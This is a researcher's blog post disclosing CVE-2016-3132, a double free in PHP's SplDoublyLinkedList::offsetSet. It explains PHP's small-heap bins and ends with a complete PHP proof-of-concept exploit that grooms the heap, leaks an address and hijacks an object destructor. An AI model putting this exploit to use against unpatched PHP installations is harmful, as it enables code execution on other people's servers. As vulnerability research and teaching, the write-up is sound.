Blog‎ > ‎

Double Free in Standard PHP Library Double Link List [CVE-2016-3132]

posted Apr 13, 2016, 5:45 PM by Emmanuel Law   [ updated Feb 1, 2018, 9:01 PM]

I found a double free vulnerability in the Standard PHP Library (SPL). While writing the exploit, I can't seem to find much write up on how PHP manages their heap internally. Through this blogpost I'll shed some light on this topic as well as my approach to exploit a double-free vulnerability like this within PHP.

Root Cause Analysis

The vulnerability is in SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval ) when passing in an invalid index. For example:

<?php$var_1=new SplStack();$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed

When an invalid index (100 in this case) is passed into the function, the DateTime object is being freed for the first time in line 833:

 832                 if (index < 0 || index >= intern->llist->count) { 833                         zval_ptr_dtor(value); 834                         zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0); 835                         return; 836                 }
The second free occurs in Zend/zend_vm_execute.h:855 when it cleans up the call stack:
  854                 EG(current_execute_data) = call->prev_execute_data;  855                 zend_vm_stack_free_args(call);


PHP Internal Heap Management

Internally within PHP, when doing heap allocations via calls such as ealloc(), it falls into 3 categories depending of the size:
Small heap allocation (< 3072 bytes)
Large heap adllocation ( < 2 megabytes)
Huge heap allocation ( > 2 megabytes)

Lets explore the small heap allocation/deallocation since that's what we are going to be using in this exploit. When dealing with memory handled by the small heap allocator, each chunk of memory is categorised into "bins" based of their size. For example:

  • Bin #1 : contains chunk sizes from 1 - 8 bytes
  • Bin #2:  contains chunk sizes from 9 - 16 bytes
  • Bin #3:  contains chunk sizes from 17 - 24 bytes
  • Bin #YouGetTheIdea....
When a memory chunk is freed internally within PHP via calls such as efree(), if the chunk in question is handled by the small heap deallocator, instead of releasing it back to the OS, it caches it and place it into an appropriate "Bin". This Bin is implemented as a single link list with freed chunks of memory being chained together.
The first couple bytes of each freed chunk can be considered its header and it contains a pointer that points to the next freed chunk. Visually this is what it looks like in the memory:

Exploitation

Step 0: Evaluate if this is feasibly exploitable. This vulnerability is triggered by trying to insert an object into an invalid SplDoublyLinkedList index. This triggers a fatal error as such:

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range

Upon the fatal error, PHP exits immediately. This prevents us from running any user code in "userland" after the double free. Thus in order for us to exploit this vulnerability, we need to trap the error and make PHP not exit immediately after the double free. This can be done via the set_exception_handler();

Step 1: We need to decide on what object we want to trigger the double free on. I have chosen to use SplFixedArray for this due to the following reasons:
  • The size of SplFixedArray is small enough such that it is being managed by the small heap allocation
  • The size of SplFixedArray is of a size that is not commonly used by PHP internals and thus there's less interference. In this case the size of SplFixedArray is 0x78 and fits into the Bin #12.
  • SplFixedArray is represented as in struct internally and there's a member at a particular offset that is useful for exploitation. I'll talk more about this in step 3. 
Step 2: We need to do some heap massaging. First let's do some cleaning up and clear any free chunks of memory in the Bin associated with SplFixedArray's size. We can do that by allocating many instances of the object. This also ensures that the SplFixedArrays allocated are in contiguous chunk of memory

123456
for ($x=0;$x<100;$x++){$z[$x]=new SplFixedArray(5);}unset($z[50]);

On line 5 above, we free the 50th SplFixedArray. This creates a hole in the contiguous chunk of memory allocated and can be visualized as:


We immediately allocate a new SplFixedArray (which causes it to occupy the 50th slot) and trigger the double free vulnerability on it:

123
<?php$var_1=new SplStack();$var_1->offsetSet(100,new SplFixedArray);

The reasons for all these heap manipulation is to ensure that the double free vulnerability is triggered on a location that is part of my controlled contiguous chunk of memory. This gives me relative good control of the memory layout as well as references to its neighboring chunk of memory (49th and 51st SplFixedArray).

After the first free, this is what the memory looks like:


After the 2nd free, this is what the memory looks like:





Step 3: Let's now exploit this abnormally in the heap. Notice that there's only 1 free chunk of memory? However the link list now has two arrows which points to the same chunk of memory. At this point, the heap is corrupted and PHP think there's 2 free chunk of memory when there's only 1.

This means that we can allocate 2 free chunk ( from Bin #12) and they will occupy the same memory space:

123456789
<?php$s=str_repeat('C',0x48);$t=new mySpecialSplFixedArray(5);class mySpecialSplFixedArray extends SplFixedArray{   public function offsetUnset($offset) {         parent::offsetUnset($offset);    }}

In the code above we allocate a string (line 2) and an object mySpecialSplFixedArray (line 3) which will both occupy and the same space between the 49th SplFixedArray and 51st SplFixedArray.


Notice that in line 3 I allocated mySpecialSplFixedArray which is just an extended class of SplFixedArray but with the offsetUnset method being overwritten. To understand why, lets take a look at the PHP internal structure of a String vs  SplFixedArray:


  • When we first allocate the string via $s=str_repeat('C',0x48), zend_string.len will have the value of 0x48
  • Next,If we were to allocate a new SplFixArray(),  by default fptr_offset_set has the value of 0. Since this occupy the same memory space as the string previously allocated, it will set zend_string.len = 0
  • However by extending the SplFixeArray class and overwrite offsetUnset(), fptr_offset_set will be contain the address of the userdefined function somewhere in memory. This address is definitely going to be larger than 0x48.  Since fptr_offset_set will overwrite zend_string.len (since they share the same memory space), PHP now thinks that we have a much larger string than we originally allocated (In reality it was only ever allocated the space between the 49th and 51st SplFixArray).

Step 4: Gaining Code execution. At this point:
  • PHP now thinks that $s is a very large string, and thus we can now read/write into and beyond the 51st SplFixArray.
  • $t is our  mySpecialSplFixedArray object which shares the same address space of $s.
Assuming I want to execute code at 0xdeadbeef, here's the approach I'll take:
  1. Create a fake Handler structure with destructor that points to 0xdeadbeef
  2. Ovewrite mySpecialSplFixedArray handler to point to our fake handler structure
  3. unset(mySpecialSplFixedArray)  which could call the destructor on our object. Since the object now points to our fake handler structure, code will be executed at where our destructor is pointing to.

Achieving (1) is easy because we can write into the 51st SplFixArray and sore our fake Handler structure there.Achieving (2) is also easy because $s and mySpecialSplFixedArray shares the same memory space.
The tricky part here is that when we create the fake Handler structure, we do not know the address of where is the exact address fake structure. Without knowing the address, we can't point mySpecialSplFixedArray to our fake handler structure.

The solution to that would be to free the 51st and 52nd SplFixArray:
Due to this free, the first 8 bytes of the 51st SPLFixedArray chunk now points to the 52nd SPLFixedArray memory chunk. By using $s to read into the first 8 bytes of the 51st SplFixedArray, one can figure out the exact memory address that one is in.


Here's the exploit code in its full glory:


 1 2 3 4 5 6 7 8 9101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566
<?php// #######   HELPER Function ##############function read_ptr(&$mystring,$index=0,$little_endian=1){return hexdec(dechex(ord($mystring[$index+7])) .dechex(ord($mystring[$index+6])) . dechex(ord($mystring[$index+5])).dechex(ord($mystring[$index+4])).dechex(ord($mystring[$index+3])).dechex(ord($mystring[$index+2])). dechex(ord($mystring[$index+1])).dechex(ord($mystring[$index+0])));}function write_ptr(&$mystring,$value,$index=0,$little_endian=1){//$value=dechex($value);$mystring[$index]=chr($value&0xFF);$mystring[$index+1]=chr(($value>>8)&0xFF);$mystring[$index+2]=chr(($value>>16)&0xFF);$mystring[$index+3]=chr(($value>>24)&0xFF);$mystring[$index+4]=chr(($value>>32)&0xFF);$mystring[$index+5]=chr(($value>>40)&0xFF);$mystring[$index+6]=chr(($value>>48)&0xFF);$mystring[$index+7]=chr(($value>>56)&0xFF);}// ####### Exploit Start #######class SplFixedArray2 extends SplFixedArray{public function offsetSet($offset, $value) {}public function Count() {echo "!!!!######!#!#!#COUNT##!#!#!#!#";}public function offsetUnset($offset) {parent::offsetUnset($offset);}}function exception_handler($exception) {global $z;$s=str_repeat('C',0x48);$t=new SplFixedArray2(5);$t[0]='Z';unset($z[22]);unset($z[21]);$heap_addr=read_ptr($s,0x58);print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";//Set Handlerswrite_ptr($s,$heap_addr_of_fake_handler,0x40);//Set fake handlerwrite_ptr($s,0x40,0x300); //handler.offsetwrite_ptr($s,0x4141414141414141,0x308); //handler.free_objwrite_ptr($s,0xdeadbeef,0x310); //handler.dtor.objstr_repeat('z',5);unset($t);  //BOOM!}set_exception_handler('exception_handler');$var_1=new SplStack();$z=array();//Heap managementfor ($x=0;$x<100;$x++){$z[$x]=new SplFixedArray(5);}unset($z[20]);$var_1->offsetSet(0,new SplFixedArray);

Original bug report can be found here